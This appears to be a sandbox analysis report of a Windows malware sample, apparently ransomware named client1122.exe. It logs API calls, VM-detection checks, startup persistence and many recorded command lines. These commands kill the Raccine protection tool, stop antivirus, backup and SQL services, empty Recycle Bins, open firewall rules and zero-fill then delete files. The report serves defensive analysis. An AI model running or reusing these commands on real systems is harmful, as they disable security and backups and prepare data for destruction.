NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05df2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 4748 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05df3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 12, 2021, 9:57 a.m.	process_identifier: 9468 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (2 events)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceExW May 12, 2021, 9:50 a.m.	total_number_of_free_bytes: 0 free_bytes_available: 13295476736 root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Explorer total_number_of_bytes: 0	1	1	0
GetDiskFreeSpaceExW May 12, 2021, 9:50 a.m.	total_number_of_free_bytes: 0 free_bytes_available: 13294841856 root_path: C:\Users\test22\AppData\Local\Microsoft\Windows\Explorer total_number_of_bytes: 0	1	1	0

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk

Creates a shortcut to an executable file (50 out of 102 events)

file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\한글과컴퓨터\한컴 자동 업데이트.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Microsoft Office\Microsoft Office 도구\VBA 프로젝트용 디지털 인증서.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Python 2.7\Uninstall Python.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Microsoft Office\Microsoft Office Groove 2007.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\HttpWatch Professional Edition\HttpWatch Help.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Task Scheduler.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Sync Center.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\HttpWatch Professional Edition\HttpWatch Studio.lnk
file	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\System Configuration.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Windows PowerShell Modules.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Component Services.lnk
file	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk
file	C:\Users\test22\Links\Desktop.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Chrome.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\한글과컴퓨터\한컴오피스 한글 2010\한컴 사전.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Windows Anytime Upgrade.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Paint.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\한글과컴퓨터\한컴오피스 한글 2010\한컴 타자연습.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Welcome Center.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Disk Cleanup.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Backup and Restore Center.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\7-Zip\7-Zip Help.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Java\Get Help.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Java\Check For Updates.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Remote Desktop Connection.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\7-Zip\7-Zip File Manager.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\한글과컴퓨터\한컴오피스 한글 2010\한컴오피스 한글 2010.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell ISE.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\System Configuration.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Microsoft Office\Microsoft Office Publisher 2007.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\한글과컴퓨터\한컴오피스 한글 2010\한컴 문서찾기.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\ShapeCollector.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Microsoft Office\Microsoft Office Excel 2007.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Sound Recorder.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Microsoft Office\Microsoft Office 도구\Microsoft Office 2007 언어 설정.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Security Configuration Management.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\한글과컴퓨터\한컴오피스 한글 2010\한컴 기본 설정.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Default Programs.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\displayswitch.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\iSCSI Initiator.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Math Input Panel.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Data Sources (ODBC).lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Python 2.7\IDLE (Python GUI).lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\한컴 사전.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\HttpWatch Professional Edition\Automation Examples.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Mobility Center.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Windows Easy Transfer.lnk
file	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\Windows Journal.lnk
file	C:\Users\test22\Links\Downloads.lnk

Creates a suspicious process (6 events)

cmdline	"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\test22\AppData\Local\Temp\client1122.exe
cmdline	"schtasks" /DELETE /TN "Raccine Rules Updater" /F
cmdline	cmd.exe "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\test22\AppData\Local\Temp\client1122.exe
cmdline	"cmd.exe" /c rd /s /q D:\\$Recycle.bin
cmdline	"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
cmdline	"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\client1122.exe

Executes one or more WMI queries (1 event)

wmi	SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "RaccineSettings.exe")

A process created a hidden window (50 out of 213 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 8780 thread_handle: 0x000002f0 process_identifier: 7960 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "taskkill" /F /IM RaccineSettings.exe filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000002fc	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 5980 thread_handle: 0x000002f0 process_identifier: 8800 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000300	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 8620 thread_handle: 0x000002f0 process_identifier: 4716 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "reg" delete HKCU\Software\Raccine /F filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000308	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 7236 thread_handle: 0x000002f0 process_identifier: 2848 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "schtasks" /DELETE /TN "Raccine Rules Updater" /F filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000310	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 3624 thread_handle: 0x0000032c process_identifier: 6200 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000338	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 6472 thread_handle: 0x0000032c process_identifier: 4496 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "cmd.exe" /c rd /s /q D:\\$Recycle.bin filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000033c	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 3812 thread_handle: 0x0000032c process_identifier: 4120 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "sc.exe" config Dnscache start= auto filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000038c	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 6744 thread_handle: 0x0000032c process_identifier: 8772 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "sc.exe" config FDResPub start= auto filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000390	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 6444 thread_handle: 0x0000032c process_identifier: 6080 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "sc.exe" config SQLTELEMETRY start= disabled filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000398	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 4420 thread_handle: 0x0000032c process_identifier: 3180 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003a0	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 7012 thread_handle: 0x0000032c process_identifier: 8248 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "sc.exe" config SSDPSRV start= auto filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003a8	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 3080 thread_handle: 0x0000032c process_identifier: 4104 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003b0	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 3632 thread_handle: 0x0000032c process_identifier: 2736 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "sc.exe" config SstpSvc start= disabled filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003b8	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 2700 thread_handle: 0x0000032c process_identifier: 7304 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003c0	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 6708 thread_handle: 0x00000330 process_identifier: 6688 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "sc.exe" config upnphost start= auto filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003d0	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 1032 thread_handle: 0x00000330 process_identifier: 2000 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "sc.exe" config SQLWriter start= disabled filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003d8	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 7808 thread_handle: 0x000003f0 process_identifier: 1596 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" start Dnscache /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000330	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 1348 thread_handle: 0x000003f0 process_identifier: 4340 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" start FDResPub /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000430	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 448 thread_handle: 0x0000043c process_identifier: 2300 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop bedbg /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000045c	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 2564 thread_handle: 0x0000043c process_identifier: 1536 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" start SSDPSRV /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000498	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 6344 thread_handle: 0x0000043c process_identifier: 2308 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop MSSQL$SQL_2008 /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000004c4	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 3984 thread_handle: 0x00000440 process_identifier: 5624 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop avpsus /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000049c	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 5452 thread_handle: 0x000004e4 process_identifier: 4860 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop EhttpSrv /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000004f4	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 6368 thread_handle: 0x00000504 process_identifier: 2488 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" start upnphost /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000004fc	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 7708 thread_handle: 0x00000500 process_identifier: 7904 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop MSSQL$SQLEXPRESS /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000518	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 5924 thread_handle: 0x00000500 process_identifier: 108 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop McAfeeDLPAgentService /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000568	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 3808 thread_handle: 0x00000500 process_identifier: 8436 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop MMS /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000056c	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 648 thread_handle: 0x00000500 process_identifier: 1924 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop mfewc /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000570	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 4060 thread_handle: 0x00000500 process_identifier: 852 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop ekrn /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000308	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 6800 thread_handle: 0x00000500 process_identifier: 6276 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop ccEvtMgr /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003a8	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 4436 thread_handle: 0x00000500 process_identifier: 1936 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop mozyprobackup /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000570	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 6832 thread_handle: 0x00000500 process_identifier: 3440 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop BMR Boot Service /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000049c	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 8132 thread_handle: 0x00000500 process_identifier: 8796 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop MSSQL$TPS /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003c0	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 560 thread_handle: 0x00000500 process_identifier: 6672 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop MSSQL$SYSTEM_BGC /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003d0	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 3200 thread_handle: 0x00000564 process_identifier: 2892 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop ccSetMgr /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000330	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 2740 thread_handle: 0x00000564 process_identifier: 5444 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop NetBackup BMR MTFTP Service /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000310	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 6520 thread_handle: 0x00000564 process_identifier: 2304 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop EPSecurityService /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003c0	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 2292 thread_handle: 0x00000564 process_identifier: 5200 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop EPUpdateService /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003a8	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 4048 thread_handle: 0x000003c0 process_identifier: 8344 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop SavRoam /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000390	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 8360 thread_handle: 0x00000390 process_identifier: 6716 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop DefWatch /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000564	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 6236 thread_handle: 0x00000390 process_identifier: 2072 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop MSSQL$VEEAMSQL2008R2 /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003a8	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 5832 thread_handle: 0x00000564 process_identifier: 4668 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop ntrtscan /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003c0	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 1900 thread_handle: 0x00000564 process_identifier: 7712 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop RTVscan /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000310	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 7456 thread_handle: 0x00000564 process_identifier: 3988 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop QBFCService /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003b0	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 3276 thread_handle: 0x00000564 process_identifier: 6000 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop EsgShKernel /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003d0	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 8112 thread_handle: 0x00000564 process_identifier: 2980 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop MSSQL$TPSAMA /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000003c0	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 7492 thread_handle: 0x00000564 process_identifier: 4056 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop VSNAPVSS /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000308	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 6968 thread_handle: 0x00000564 process_identifier: 8200 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop QBIDPService /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000308	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 7028 thread_handle: 0x00000564 process_identifier: 3336 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop PDVFSService /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000390	1	1
CreateProcessInternalW May 12, 2021, 9:57 a.m.	thread_identifier: 1852 thread_handle: 0x00000390 process_identifier: 2752 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000564	1	1

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW May 12, 2021, 9:57 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW May 12, 2021, 9:57 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (50 out of 201 events)

cmdline	"net.exe" stop SDRSVC /y
cmdline	"net.exe" stop SamSs /y
cmdline	"net.exe" start SSDPSRV /y
cmdline	"net.exe" start FDResPub /y
cmdline	"net.exe" stop SQLAgent$CITRIX_METAFRAME /y
cmdline	"net.exe" stop MSSQLFDLauncher$SQL_2008 /y
cmdline	"net.exe" stop Smcinst /y
cmdline	"net.exe" stop msftesql$PROD /y
cmdline	"net.exe" stop EPUpdateService /y
cmdline	"net.exe" stop “Sophos AutoUpdate Service” /y
cmdline	"net.exe" stop “Sophos Device Control Service” /y
cmdline	"net.exe" start Dnscache /y
cmdline	"net.exe" stop MSSQLServerADHelper100 /y
cmdline	"net.exe" stop BMR Boot Service /y
cmdline	"net.exe" stop “SQLsafe Filter Service” /y
cmdline	"net.exe" stop DefWatch /y
cmdline	"net.exe" stop MSSQL$PRACTTICEBGC /y
cmdline	"net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y
cmdline	"net.exe" stop VeeamBackupSvc /y
cmdline	"net.exe" stop MBAMService /y
cmdline	"net.exe" stop MSSQL$TPSAMA /y
cmdline	"net.exe" stop QBIDPService /y
cmdline	"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
cmdline	"net.exe" stop McShield /y
cmdline	"net.exe" stop sms_site_sql_backup /y
cmdline	"net.exe" stop QBFCService /y
cmdline	"net.exe" stop McAfeeDLPAgentService /y
cmdline	"net.exe" stop MSSQLFDLauncher$SYSTEM_BGC /y
cmdline	"net.exe" stop mfefire /y
cmdline	"net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
cmdline	"net.exe" stop QBCFMonitorService /y
cmdline	"net.exe" stop “Sophos Safestore Service” /y
cmdline	"net.exe" stop SQLAgent$SBSMONITORING /y
cmdline	"net.exe" stop MSExchangeIS /y
cmdline	"net.exe" stop MSSQL$BKUPEXEC /y
cmdline	"net.exe" stop “Enterprise Client Service” /y
cmdline	"net.exe" stop SmcService /y
cmdline	"net.exe" stop EhttpSrv /y
cmdline	"net.exe" stop MSSQL$SQL_2008 /y
cmdline	"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\test22\AppData\Local\Temp\client1122.exe
cmdline	"schtasks" /DELETE /TN "Raccine Rules Updater" /F
cmdline	"net.exe" stop audioendpointbuilder /y
cmdline	"net.exe" stop “Veeam Backup Catalog Data Service” /y
cmdline	"net.exe" stop bedbg /y
cmdline	"net.exe" stop “intel(r) proset monitoring service” /y
cmdline	"net.exe" stop McAfeeFrameworkMcAfeeFramework /y
cmdline	"net.exe" stop KAVFS /y
